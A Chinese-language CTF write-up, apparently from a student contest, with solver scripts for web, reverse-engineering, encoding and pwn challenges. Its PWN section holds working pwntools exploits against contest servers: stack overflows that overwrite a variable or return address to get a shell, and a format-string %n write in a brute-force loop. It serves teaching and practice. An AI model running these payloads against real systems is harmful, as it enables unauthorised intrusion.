没啥好说的,淦就完事了。
WEB
Judge
太暴力啦!出题的学长列入十一月加急名单哈。
import requests, re, time
url = 'http://202.119.201.199:50000/'
s = requests.Session()
for i in range(20):
print(i)
res = s.get(url)
html = res.content.decode('utf-8')
#print(html)
r = re.search(r'<div>(.+?)</div>', html)
math = r.group(1)
print(math)
math = math.replace('=', '==')
answer = 'true' if eval(math) else 'false'
print(answer)
time.sleep(1.1)
send = s.post(url, data={'answer':answer})#, proxies={'http':'127.0.0.1:8080'})
print(send.content.decode('utf-8'))
#print(s.cookies)
注意要用 s = requests.Session()
保留通话记录(cookie)
Hello_PHP
http://202.119.201.199:50003/index.php?a=&b=
PUT me a message
import requests
url = 'http://202.119.201.199:50002/'
r = requests.put(url, data='pwnht')
print(r.content)
没搞明白为什么put传的不是key: value形式的数据。
RE
Hello World
注意端序
easy XOR
v8 = ':\"AL_RT^L*.?+6/46'
v7 = 'ebmarah'[::-1]
for i in range(len(v8)):
print(chr(ord((v7[i%7])) ^ ord(v8[i])),end='')
v7,注意端序哈。
答案就在眼前
change()的作用是将CUMTCTF{this_is_a_fake_flag_
分割成['this', '_is_', 'a_fa', 'ke_f', 'lag_']
,并分别转换成int
然后读入5个int,分别比较。
def hex2char(data):
import binascii
return binascii.unhexlify(data)
def char2hex(data):
#data = b'data'
import binascii
return binascii.hexlify(data)
for s in ['this', '_is_', 'a_fa', 'ke_f', 'lag_']:
hex = char2hex(bytes(s[::-1], 'utf-8'))
print(int(hex, 16))
flag就是输入去掉\n
another XOR
a = [0x0a,0x75,0x2c,0x39,0x63,0x20,0x2f,0x9,0x1d,0x0b,0x3b,0x7f,0x08,0x1e,0x7f,0x15,0x1e,0x17,0x16,0x0b,0x24,0x45,0x1c]
b = 'I am tired'
flag = ''
for i in range(len(a)):
flag += chr(a[i] ^ ord(b[i%len(b)]))
print(flag)
string
s = '{opzfpzfzvfzptwsl'
for i in s:
print(chr(ord(i)-7),end='')
Mind reading
随机数种子是一个常值,所以随机数序列是固定的。
动态调试轻松找到v2的值
X0
关键代码:
( v1[*(char *)(i + a1) ^ *((_DWORD *)&v4 + i)] != v2[i] )
即v1[ a1[i] ^ v4[i] ] == v2[i]
,求a1
v2 = '000ldh_tphhl'
v4 = 'rd~h{eaK xxS'
v1 = 'L1f3_1s_4_j0urn3y_n0t_th3_d3st1n4t10n_but_th3_sc3n3ry_4l0ng_th3_sh0uld_p3_4nd_th3_m00d_4t_th3_v13w'
for i in range(len(v2)):
for j in range(len(v1)):
if v1[j] == v2[i]:
print(chr(j ^ ord(v4[i])), end=' ')
print()
选取有意义的组合。
MISC
包包包
添加后缀.zip
签到都算不上
查看文件属性
结账拿出什么?
base64编码的图片。markdown语法轻松看到图片。
forfun
forfuntoo
按照提示,字母要小写提交
PWN
0x00 写在前面
刚开始学pwn,有些地方可能理解的不对,有错误的话希望大家可以指出来,谢谢。
使用到了python2 的一个模块pwn(pip时Ubuntu下是pwn、CentOS7中是pwntools),不能在windows下使用。
python3应该也可以使用pwntools,但我还没有实践过,这里不详细说。
我的环境为Ubuntu16.04,python2.
#Ubuntu下安装pwn
apt-get update
apt install python-pip
pip install pwn
#CentOS7下安装pwntools
#http://www.ishenping.com/ArtInfo/234398.html
#https://github.com/facebook/prophet/issues/418
#注意:python2和python3同时存在的,所有pip命令都要加上python2 -m的前缀
#如python2 -m pip install pwntools
yum -y install python-pip
pip install --upgrade setuptools
pip install pwntools
Ubuntu比较适合pwntools,CentOS的坑比较多。推荐Ubuntu哈
来自pwnht的评论(闲话/补充?????)
ubuntu安装的时候也可以安装pwntools
pip install pwntools
我之前都不知道有pwn这个库,但是用法是一样的,却是两个库,额,建议pwntools哈,可以从下面来,pwn这个最后一次更新在2014,好像已经停止更新了,而pwntools最后一次更新是在2019(一看 pwntools 的 decription 就比较帅,知道选谁了吧)
0x01 first try
32位,用ida打开,按下f5将汇编转换成伪C代码。
来自pwnht的评论(闲话/补充?????)
理论上来说,我们第一步是checksec,一般pwn题目是不加壳的,但是,会有一些程序保护(详情参考的我ppt程序保护部分),幸运的是这几道题目都没保护2333,其实,checksec是有一个脚本的,但是我更喜欢用ipython这个程序,安装ipython
sudo apt install ipython
像这样操作,linux里面arch表示程序的是哪种操作系统类型(i386为32位,amd64为64位),然后下面是4种保护,红色表示程序保护没开,绿色表示开启
(其实ida也能分辨64位和32位试一试就知道会有标识的)
(~下面是分割线)
要想拿到shell,就要满足v6=99(第30行)。
本题存在两处输入,其中第11行的read()函数存在明显的栈溢出。
双击程序中的任意参数或局部变量,均可跳转至所在函数的栈界面:
容易发现,s字符串的长度为0x1C-0x0C=16,而read()函数可以读入50个字符。当读完16个字符后,如果继续输入,程序并不会停止,而是继续将数据读入栈中,这就会覆盖掉其他的数据。比如写入的第17个字符会覆盖掉上图中的var_C.
var_C恰好就是之前的v6。
把鼠标光标放在v6上,就会自动显示v6在栈内的位置。
或者双击下v6。
来自pwnht的评论(闲话/补充?????)
其实这里不用悬停的,或者双击的,因为
滑一下鼠标就可以了,复杂的程序可以悬停,(都行其实2333,怎么快怎么来哈)
(下面是分割线)
上图中的esp是栈顶指针,ebp是栈的基址。
话有些多,直接写脚本吧。
from pwn import *
p = remote('202.119.201.199', 10000)
payload = 'a'*(0x1c-0x0c) + p32(99)
p.sendline(payload)
p.interactive()
第一行,导入pwn模块
第二行,连接到服务器
第四行,sendline发送payload
第五行,进入交互。此时输入cat flag即可拿到flag
payload的前半部分就是16个字符,写满字符串s,第十七个字节就是我们要修改的v6.
p32()可以将99转换成一个32位的数据。
来自pwnht的评论(闲话/补充?????)
这里注意,写expliot脚本的一个好习惯,遇到 read() 要用 send() 不要用 sendline()
这道题目,两个都行,换其他题目可能会多读一个n (换行符即'\x0a'), (注意大坑,相信我)
还有遇到多次输入的时候,就不能用 send() 函数了,要用 sendafter() 或者 sleep() 来控制流程
附上我的expliot
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
io=remote('202.119.201.199',10000)
#io=process('./first')
#gdb.attach(io)
io.sendafter('do you want to change it?(yes|no)\n','a'*0x10+p32(99))
io.interactive()
基本上差不多哈
0x02 easy_second_try
使用ida64打开
主函数输入姓名,输出姓名,就结束了。
同时可以看到read()明显的栈溢出。
上面的s是输入的字符串,下面的s是ebp(此处存疑哈 ),下面的r是函数运行完的返回地址。当这个函数运行完时,程序会跳转至r所储存的地址处,继续运行。
参考阅读《加密与解密》P106.
上图的栈和上上图的栈,顺序是相反的,对照的时候注意下。
函数列表内有个sys函数
可以调用shell.
所以我们通过read()函数,多读入一些字节,将r返回地址覆写为sys的地址,就可以调用这个shell了。
from pwn import *
p = remote('202.119.201.199', 10002)
payload = 'a'*(0x10+8) + p64(0x400789)
p.sendline(payload)
p.interactive()
payload中,0x10是字符串长度,8是8位的ebp,0x400789是sys的地址,p64将其转换为64位的数据
就酱~
0x03 printf
随机一个数字,输入一个数字,二者相等则拿到shell.
第25行存在printf格式化字符串漏洞。
先来看一下相关知识:
我浅显地总结一下:
常见的printf有两(及以上)个参数,如printf("%d", &a);
。但其实printf只需要一个参数,printf("%d%d");
,需要参数时从栈顶依次读入即可。前面的printf("%d", &a);
本质上就是先把a的地址压入栈内,然后printf读栈顶元素并输出。
printf函数的第一个参数就是格式化字符串。
正常的程序,这个格式化字符串应该是写死在代码里的,但是本题printf的那个字符串是我们输入的,所以我们可以通过一些方式来输出一些数据(或写入一些数据)。
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
%x表示输出栈顶的那个十六进制数据,%i$x表示输出偏离栈顶i处的十六进制数据。
我们现来测试下程序运行到printf()处,栈的情况。
did you hear that?输入长度不超过16的字符串即可。然后do you understand输入7个%p,程序输入从栈顶到偏移栈顶7个32位处的7个十六进制数。
第7个参数输出的是%p%p(0x70是p,0x25是%),所以我们确定了输入的%p%p%p%p%p%p%p这个字符串是从栈内偏移7处开始的(ebp+7)。
0x2c处就是我们输入的字符串的起始位置。我们想要知道的那个随机数在0x0C的var_C处。二者偏移量为(0x2c-0x0c)//4=8,除以4是因为这是32位程序。
buf相对栈顶偏移7,var_C相对buf偏移8,即var_C相对栈顶偏移15
不用脚本,直接手撸
拿到随机数0xa08457,转换成十进制数10519639,输进去,拿到shell.
来自pwnht的评论(闲话/补充?????)
你的非预期解呢??????
来自iyzyi的补充
嗯,这道题在pwnht学长提示我之前,我不是这么考虑的。
先说一下格式化字符串中的%n。%n的作用是向保存在栈顶的一个地址处写入一个数,这个数是字符串中位于%n前面的字符的数量。%i$n的作用类似,不过是向偏移栈顶i处保存的地址中写入一个数。比如,对照着上上上图,“abc%6$n”就是向0xf770f244处写入3.
但是,一定要注意,对应的栈中的参数必须是一个合法的地址。比如对照着上上上图,“abc%2$n”就是向0x10处写入3。0x10不是个地址,所以程序会崩溃。
有了以上知识,那我就开始说一下我最初的思路,非预期解。应该可以解题,但是成功的概率实在感人。
我是想通过%n向v8处写入一个数,然后我再输入这个数,自然就可以拿到shell.
但是,万万没有想到,这题v8的地址是一直在改变的,根据我的多次测试,其地址大概位于0xff800000到0xffffffff之间。
于是我就想碰撞一下地址。我在程序里写了个地址,假设它就是字符串的地址,再通过偏移量算出v8的地址。如果某一次程序恰好将字符串加载到我假设的地址处,那么我就可以向v8写入相应的字符数量。
from pwn import *
for i in range(10000000):
try:
p = remote('202.119.201.199', 10001)
context.log_level = 'debug'
p.sendlineafter('Did you hear that?', 'yes\n')
payload = p32(0xff9594ec+(0x2c-0xc)) + '%7$n'
p.sendlineafter('do you understand?', payload)
p.sendlineafter('just tell me how mang is it!', '4')
except EOFError:
print 'EFO again~~~~~'
pass
else:
if p.recvline_contains('haha, I know you can\'t do it!'):
print 'NO~~~~~~'
continue
p.interactive()
如果%7$n不是向一个合法的地址处写入,程序会timeout: the monitored command dumped coren,报错EOFError。为了程序的程序化运行,捕捉了这个异常。
如果恰好碰撞到了一个地址,但是又不是我们需要的那个目标地址,程序会按照流程输出haha, I know you can't do it! 此时我们使用continue跳过这次碰撞。
对了,说明一下,这个脚本不一定正确哈。我还没有跑出来(跑得CPU都糊了)。有兴趣的可以试试。
为了说明一下成功的概率,我放一个数字:0xffffffff-0xff800000=0x7fffff=2^23=8388608。
BASIC
base大礼包哦
base64->url->base32
最基本的编码表
s = r'\u0063\u0075\u006d\u0074\u0063\u0074\u0066\u007b\u0036\u0036\u0036\u0036\u005f\u0036\u0036\u0036\u005f\u0036\u0036\u005f\u0079\u004f\u0075\u005f\u0041\u0072\u0065\u007d'
n = []
for i in range(len(s)//6):
n.append(int(s[(i*6+4):(i*6+6)], 16))
for i in n:
print(chr(i),end='')
猪关在栅栏里
两次栅栏密码。
膜大佬